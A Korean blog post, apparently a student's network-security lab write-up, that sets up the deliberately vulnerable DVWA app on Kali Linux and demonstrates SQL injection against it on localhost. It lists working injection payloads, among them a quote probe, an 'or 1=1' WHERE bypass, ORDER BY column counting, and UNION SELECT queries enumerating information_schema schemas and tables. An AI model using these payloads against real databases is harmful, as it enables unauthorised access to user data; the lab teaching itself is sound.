민오리

[네트워크 실습] SQL Injection 공격 실습 본문

전공수업/Network

[네트워크 실습] SQL Injection 공격 실습

secu_jeong 2020. 6. 26. 13:05

SQL Injection이란

코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격 방식입니다

사용자가 입력한 데이터를 필터링 하지 못했을 경우에 발생하며 쉬운 공격 난이도에 비해 파괴력이 크기 때문에 중요합니다. 

Imperva가 2012년에 발표한 보고서에 따르면 월 평균 4회 정도의 SQL인젝션 공격이 일어나며, OWASP에서도 인젝션 기법이 보안 위험 1순위로 분류되는 만큼 주의가 필요합니다.


#1. 실습 환경구축 과정* 칼리 리눅스에서 실행했습니다 

chmod -R 755 /var/www/html/dvwa

1) DVWA 설치: http://dvwa.co.uk접속 후 dvwa 다운로드-> 디렉토리 이름을 dvwa로 변경 후 /var/www/html로 디렉토리 이동-> /var/www/html의 권한을 755로 설정

config.inc.php파일

2) config.inc.php: /var/www/html/dvwa/config 디렉토리의 config.inc.php.dist 파일을 복사해 config.inc.php 파일로 변경 -> 파일 안 db_password를 공란으로 변경

 

mysql -u root -p
select user.password from user;

3) DB생성과정

mysql 재실행 후 권한 설정 -> dvwa의 user 테이블 확인 -> password 변경

curl –data ‘create db=create+%2F+Reset+Database’http://127.0.0.1/dvwa/setup.php# --cookie PHPSESSID=1

4) curl문 실행

curl문 생성

5) http://127.0.0.1/dbwa/login.php에 접속 후 setup.php오류 확인

 

find / -name php.ini

(6) php.ini 파일을 찾고 /etc/php.7.3/apache2/php.ini , /etc/php/7.3/cli/php.ini 파일의 allow_url_include=off 

on으로 변경해준다

php.ini파일

7) http://www.google.com/recaptcha/intro/android.html 접속 후 reCAPTCHA 키 발급 -> /var/www/html/dvwa/config/config.inc.php파일의 public_key, private_key에 입력

8) 127.0.0.1/dvwa/login.php 접속


#2 SQL Injection 공격 실습

1) 취약한 환경인지 확인

'(작은 따옴표)를 입력하여 SQL 인젝션 공격에 취약한 환경인지 확인

2) where 구문 우회

1 ' or '1'='1

where 구문을 우회하는 코드를 작성해 입력하면, 해당 데이터베이스 내 전체 사용자의 정보가 출력

3) UNION을 이용한 SQL인젝션

1' order by 2# (전체 칼럼의 개수와 동일할 때)
1 'order by 3#(전체의 칼럼 개수와 다를때)

UNION을 이용하려면 쿼리문이 조회하는 SELECT문의 칼럼개수와 UNION뒤에서 요청하는 칼럼의 개수와 동일해야한다.

따라서 칼럼 개수를 먼저 알아야 하는데 이는 order by 구문을 통해서 알아낼 수 있다.

order by 구문

입력된 데이터가 first name, surname에 삽입된 것을 확인할 수 있음

‘ union select schema_name, 2 from information_schema.schemata#

Union sql인젝션을 이용하여 information_schema DBschemata 테이블에 접근한다

' union select table_name, 2 from information_schema.tables WHERE table_schema='dvwa'#

테이블 조회를 통해 dvwa 내 테이블 이름이 users임을 알 수 있다.

 

* DVWA에서 SQL 인젝션 공격 말고도 Blind SQL 인젝션 공격도 수행할 수 있으니 한번 실습 해보시길 바라요

'전공수업 > Network' 카테고리의 다른 글

[네트워크 실습] Syn Flooding 공격&대응 과정  (0) 2019.12.14
Comments